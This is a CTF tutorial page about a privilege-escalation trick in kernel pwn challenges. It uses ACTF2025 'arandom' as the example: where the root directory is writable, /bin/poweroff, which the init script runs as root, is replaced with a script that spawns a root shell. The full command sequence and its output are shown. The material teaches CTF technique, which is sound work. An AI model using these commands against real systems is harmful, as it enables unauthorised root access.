Directly Overwriting the Root Filesystem¶

Some challenges, due to the author's oversight, have a root directory that is writable by unprivileged users. This is usually because the author packaged the filesystem without sufficient rigor.

Therefore, in CTF competitions, a useful trick is to first check whether the filesystem permissions are properly configured. For challenges with this issue, we can directly modify the root filesystem directory, causing certain malicious commands to be executed with root privileges. A common approach is to replace /bin/poweroff, because in the standard kernel pwn challenge setup, the last line of the init script typically uses this command to shut down the machine.

Although this method does not allow contestants to immediately understand the challenge author's intended solution, it allows them to score points immediately.

Example: ACTF2025 - arandom¶

The challenge files can be downloaded from https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/ACTF2025-arandom.

Challenge Analysis¶

First, we start the environment and check the root directory permissions:

Boot took 5.66 seconds

bash: cannot set terminal process group (-1): Not a tty
bash: no job control in this shell
bash-5.2$ ls -la /
total 56
drwxrwxr-x   12 ctf      ctf            300 Apr 21 12:48 .
drwxrwxr-x   12 ctf      ctf            300 Apr 21 12:48 ..
-rw-r--r--    1 root     root         48016 Apr 21 12:13 arandom.ko
drwxr-xr-x    2 root     root          5640 Apr 15 07:49 bin
drwxr-xr-x    7 root     root          2280 May  1 13:31 dev
drwxr-xr-x    2 root     root           140 Apr 15 07:49 etc
-rw-------    1 root     root            38 Apr 15 07:53 flag
-rwxr-xr-x    1 root     root           354 Apr 21 12:22 init
drwxr-xr-x    2 root     root            40 Apr 15 07:49 lib
drwxr-xr-x    2 root     root            40 Apr 15 07:49 lib64
dr-xr-xr-x  107 root     root             0 May  1 13:31 proc
drwxr-xr-x    2 root     root            60 Apr 15 07:49 root
drwxr-xr-x    2 root     root            40 Apr 15 07:49 sbin
dr-xr-xr-x   12 root     root             0 May  1 13:31 sys
drwxrwxrwt    2 root     root            40 May  1 13:31 tmp

We can see that the root directory permissions are not properly configured.

Next, we check the /init startup script:

bash-5.2$ cat /init
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t tmpfs tmpfs /tmp
mount -t devtmpfs none /dev

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"

chmod 600 /flag

insmod arandom.ko
chmod 666 /dev/arandom

echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict


su ctf -c /bin/bash

poweroff -f
bash-5.2$ which poweroff
/bin/poweroff

We can see that the poweroff command will be executed with root privileges at the end, and its execution path is /bin/poweroff.

Exploitation¶

Since the root directory is writable for us, we can directly move the /bin directory to another directory, create a new /bin directory, and then create a new /bin/poweroff with malicious commands written into it.

busybox allows us to execute various commands directly through command-line arguments, so after moving the /bin directory, we can directly call busybox for subsequent operations.

The final exploitation commands are as follows:

bash-5.2$ id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
bash-5.2$ ls -la /flag
-rw-------    1 root     root            38 Apr 15 07:53 /flag
bash-5.2$ cat /flag
cat: can't open '/flag': Permission denied
bash-5.2$ mkdir /abin
bash-5.2$ cp -r /bin/* /abin/
bash-5.2$ rm /abin/poweroff
bash-5.2$ echo '#!/bin/sh' > /abin/poweroff
bash-5.2$ echo 'su root -c sh' >> /abin/poweroff
bash-5.2$ chmod +x /abin/poweroff
bash-5.2$ mv /bin /bbin
bash-5.2$ /bbin/busybox mv /abin /bin
bash-5.2$ exit
exit
sh: can't access tty; job control turned off
/ # id
uid=0(root) gid=0(root) groups=0(root)
/ # cat /flag
ACTF{testtesttesttesttesttesttesttest}